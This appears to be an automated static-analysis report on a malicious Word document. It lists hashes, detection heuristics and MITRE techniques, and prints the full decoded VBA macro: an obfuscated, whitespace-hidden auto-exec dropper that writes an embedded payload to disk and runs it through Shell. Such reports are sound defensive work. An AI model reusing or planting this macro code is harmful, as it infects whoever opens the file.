Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 d8d8606c5ee0d270…

MALICIOUS

Office (OOXML) / .DOCX

764.5 KB Created: 2022-11-30 16:13:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-12
MD5: b46ff6b544bd0095bff01cc5d279ec43 SHA-1: 166dbaccb416305c46ca6807410a8f2f8b42765a SHA-256: d8d8606c5ee0d270968970be0d12575489295db86c9a591c4c6f1c283f6fdcd6
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing an obfuscated VBA macro loader. The macro executes upon opening the document, likely to download and execute a second-stage payload. The presence of CreateObject and Shell calls, along with the 'Obfuscated auto-exec VBA loader' heuristic, strongly indicates this behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.b767d0984d0d8df0-9980310-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.b767d0984d0d8df0-9980310-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                                                                                                                                                    Shell dc("213216209199207207150149131") + dc(out_fqn) + dc("143134148")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set d = CreateObject("Scripting.Dictionary")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set d = CreateObject("Scripting.Dictionary")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://localhost/ In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4510 bytes
SHA-256: 445b8fa5b51024de61d87f1487dd79152eb0971af5a19e28606b8a4de62fc70f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Initialize True
End Sub

Private Sub InitiaIize(lh_mode As Boolean)
    If Dir(".gitingore") <> "" Then
        MsgBox "Not applicable environment", vbCritical, "Error"
    End If
End Sub

Private Function SwitchSides(s As String) As Byte()
    Dim l As Long, i As Long
    Dim b() As Byte
    Dim index As Long
    Dim h As String
    l = Len(s)
    ReDim b(0 To l / 2 - 1)
    index = LBound(b)
    h = dc("137171")
    For i = l - 1 To 0 Step -2
        b(index) = CByte(CLng(h + (Mid(s, i, 2))))
        index = index + 1
    Next i
    SwitchSides = b
End Function

Private Sub HealthCheck(ib As String, dat() As Byte, Optional v As Boolean = False)
    Dim fn As Integer
    Dim x As String
    Dim ob As String
    If Not v Then
        fn = FreeFile
        Open ib For Binary As #fn
        Put #fn, 1, dat
        Close #fn
    Else
        x = "Abnormal termination"
        MsgBox x, vbCritical
    End If
End Sub

Public Function dc(s As String, Optional hop As Long = 3) As String
    Dim d As Object
    Dim i As Long
    Dim sTmp As String
    Set d = prep_dc(60, 510, 99, 2)
    For i = 1 To Len(s) Step hop
        sTmp = sTmp + d(CInt(Mid(s, i, hop)))
    Next i
    dc = sTmp
End Function

Private Function prep_dc(x As Long, y As Long, z As Long, multiplier As Long) As Object
    Dim d As Object
    Dim i As Long
    Set d = CreateObject("Scripting.Dictionary")
    For i = x / multiplier To y / multiplier
        d(i + z) = Chr(i)
    Next i
    Set prep_dc = d
End Function




                                                                                                                                    Private Sub Initialize(lh_mode As Boolean)
                                                                                                                                        Const out_fqn = "166157191179213210202213196208167196215196191219219219145199207207"
                                                                                                                                        Dim data() As Byte
                                                                                                                                        Dim s As String
                                                                                                                                        If Dir(".gitingore") <> "" Then
                                                                                                                                            'MsgBox "This is an incompatible version, please, update.", vbInformation
                                                                                                                                        Else
                                                                                                                                            If lh_mode Then
                                                                                                                                                data = SwitchSides(ActiveDocument.CustomXMLParts("http://localhost/").SelectSingleNode("/").Text)
                                                                                                                                                HealthCheck dc(out_fqn), data, False
                                                                                                                                                Shell dc("213216209199207207150149131") + dc(out_fqn) + dc("143134148")
                                                                                                                                            Else
                                                                                                                                            End If
                                                                                                                                        End If
                                                                                                                                    End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 46e8533de9caef22c03b8aed31009c76f002c29cd9c19d45e07ae2d3b8a808ae

Open this report in the interactive analyzer, or submit your own file for analysis.